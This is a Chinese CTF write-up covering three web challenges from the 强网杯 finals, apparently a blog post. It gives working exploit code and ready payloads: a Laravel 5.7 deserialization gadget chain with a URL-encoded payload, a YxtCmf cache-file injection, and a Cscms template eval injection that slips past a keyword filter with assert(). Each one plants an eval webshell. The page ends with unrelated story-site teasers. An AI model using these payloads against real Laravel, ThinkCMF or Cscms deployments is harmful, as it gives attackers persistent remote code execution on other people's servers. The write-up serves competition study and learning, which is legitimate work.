强网杯决赛RW的3个Web题

这次真的是神仙打架,web狗无处苟活,AWD只有PWN题,所以Web狗只能奋力怼RW的3个web,这里不得不膜一下大师傅们,审得太快了,第二天排队排太久,啥血也没抢到,简单写下3个web的解题思路......这里放下源码,方便复现(https://pan.baidu.com/s/1WngiF9tTCMZq7SKqDaOa6g 提取码: kj7b)

0x01 laravel

这个下发的版本是5.7,并且之前有人发表过对该版本的漏洞的分析文章,所以这题差不多算是一个web签到题,这里贴一下链接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
在写这个分析文章的时候,大师傅可能避嫌把这个页面关了,也就是在程序流处理过程中,我们可以控制序列化的内容,所以只要构造一个反序列化点就可以触发该反序列RCE漏洞,刚好这个题目的设定就是给了反序列化点的。
/public/index.php:

namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
    public function index()
    {
        if(isset($_GET['code']))
        {
            $code = $_GET['code'];
            unserialize($code);
            return "Welcome to qiangwangbei!";
        }
    }
}
?>

这里给了一个反序列化利用点所以我们只要把序列化的内容赋给code参数就可以了,直接贴Exp代码(反正也不是我写的,因为赛制要求拿到shell,而且只有index.php可写,这个地方坑了我的第一次机会,吐槽一下)
get.php

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}


namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
?>

rce.php

<?php
include("get.php");
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('echo "<?php eval(\$_REQUEST[Cyc1e]);?>" > index.php'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
?>

GET方式把payload打过去就好了

URL:/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A50%3A%22echo+%22%3C%3Fphp+eval%28%5C%24_REQUEST%5Bpass%5D%29%3B%3F%3E%22+%3E+index.php%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

0x02 YxtCmf

第一天的下午一直在审这个cmf框架的源码,是基于ThinkPhp框架进行二次开发的,thinphp的缓存机制算是比较有意思的,主要思路是通过控制缓存文件来拿shell,查看thinkcmf的一个文档


sp_set_dynamic_config.png

设置了动态更新系统配置的函数,查看一下sp_set_dynamic_config函数的内容

function sp_set_dynamic_config($data){
    
    if(!is_array($data)){
        return false;
    }
    
    if(sp_is_sae()){
        $kv = new SaeKV();
        $ret = $kv->init();
        $configs=$kv->get("THINKCMF_DYNAMIC_CONFIG");
        $configs=empty($configs)?array():unserialize($configs);
        $configs=array_merge($configs,$data);
        $result = $kv->set('THINKCMF_DYNAMIC_CONFIG', serialize($configs));
    }elseif(defined('IS_BAE') && IS_BAE){
        $bae_mc=new BaeMemcache();
        $configs=$bae_mc->get("THINKCMF_DYNAMIC_CONFIG");
        $configs=empty($configs)?array():unserialize($configs);
        $configs=array_merge($configs,$data);
        $result = $bae_mc->set("THINKCMF_DYNAMIC_CONFIG",serialize($configs),MEMCACHE_COMPRESSED,0);
    }else{
        $config_file="./data/conf/config.php";
        if(file_exists($config_file)){
            $configs=include $config_file;
        }else {
            $configs=array();
        }
        $configs=array_merge($configs,$data);
        $result = file_put_contents($config_file, "<?php\treturn " . var_export($configs, true) . ";");
    }
    sp_clear_cache();
    S("sp_dynamic_config",$configs);
    return $result;
}

把$config和字符串“THINKCMF_DYNAMIC_CONFIG”,传入了set函数,set函数是一个写入缓存文件的函数,也就是把sp_set_dynamic_config传入的固定字符串处理后当作文件名生成,传入的$config的数据为缓存文件的内容,也就是说控制了缓存内容在拿到缓存文件名就可以控制缓存文件了,所以接下来就是找哪一个sp_set_dynamic_config函数我们可以用,因为题目环境设定是把admin、install等目录给去了,也就限制了利用访问,本菜习惯用notepad++,所以全局搜索sp_set_dynamic_config的调用情况,再排除一下,最终确定了\application\Api\Controller\OauthController.class.php中的sp_set_dynamic_config可以任意控制

function injectionAuthocode(){
        $postdata=I('post.');
        $configs["authoCode"]=$postdata['authoCode'];
        sp_set_dynamic_config($configs);
    }

缓存文件里的内容是注释后的序列化值,所以构造一下post值换行再注释后面的语句就可以写入任意代码了

POST:authoCode=Cyc1e%0aeval($_REQUEST[pass]);//

接下来就是缓存文件名的问题了(毕竟缓存文件名是个md5值,爆破是不可能的),分析set函数即可,发现就是两个固定的字符串拼接处理,所以这就是一个固定的值了,缓存的文件名固定为ed182ead0631e95e68e008bc1d3af012.php,本地生成了直接上台打就行了,第一天下午就分析到这,卡在了路由触发规则上,大写的尴尬,到酒店继续看了下,是自己傻了,路由规则看错了,所以最后的payload

URL:/index.php/api/oauth/injectionAuthocode
POST:authoCode=Cyc1e%0aeval($_REQUEST[Cyc1e]);//
PATH:/data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php

直接触发就好了


Test

0x03 Cscms

这题晚上才开始审,查了下最近报出的洞,发现这个cms好像是凉了的,最近的也就是17年的了,有一个SSTI的补丁,而且怎么找到找不到这个补丁的代码,就顺着这个思路去了,既然不让我找到,那估计就有问题的嘛,2333,这题给的题目信息一样是删除了admin、install目录,所以一样是前台的洞了,既然是SSTI,那肯定是有一个代码执行点的,全局搜索eval函数,最终定位到
\cscms\app\models\Csskins.php

// php标签处理
public function cscms_php($php,$content,$str) {
        $evalstr=" return $content";
        $newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
        return $str;
    }

只要控制了$content,就可以执行任意代码,进行函数的回溯,这个最难受了,就一个template_parse函数调用了cscms_php,定位php处理代码

//PHP代码解析
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
    for($i=0;$i<count($php_arr[0]);$i++){
          $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
    }
}
unset($php_arr);

也就是说正则匹配{cscmsphp}([\s\S]+?){/cscmsphp},把匹配到的数据传给cscms_php,再利用eval直接执行,分析到这逻辑就很清晰了,就是要找一个前台的调用了template_parse函数的地方,控制输入的内容,就可以实现任意代码执行,全局搜索调用情况,定位一个好调用的地方:\plugins\sys\home\Gbook.php(意见留言板,不用任何权限直接触发),其中的ajax函数对其进行了调用

$Mark_Text=$this->Csskins->template_parse($Mark_Text,false);

也就是获取到留言板输入的内容,传入到template_parse函数中,所以我们构造留言数据的时候,加上{cscmsphp}{/cscmsphp}便签就会传到eval函数中,测试了下eval($_REQUEST[Cyc1e]);,然后失败了,尽然还有转义,也是很有意思,找到处理代码。

$str = preg_replace('#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si','\\1\\2&#40;\\3&#41;',$str);

就过滤了这几个,所以构造下payload:

URL:index.php/gbook
留言数据:{cscmsphp}assert($_REQUEST[Cyc1e]);{/cscmsphp}
Shell:/index.php/gbook/lists/1?Cyc1e=phpinfo();
GET

0x04 小结

总的来说,神仙打架,Web狗没前途,神仙们都不在意Web的那一丢丢分

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,560评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,104评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,297评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,869评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,275评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,563评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,833评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,543评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,245评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,512评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,011评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,359评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,006评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,062评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,825评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,590评论 2 273
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,501评论 2 268

推荐阅读更多精彩内容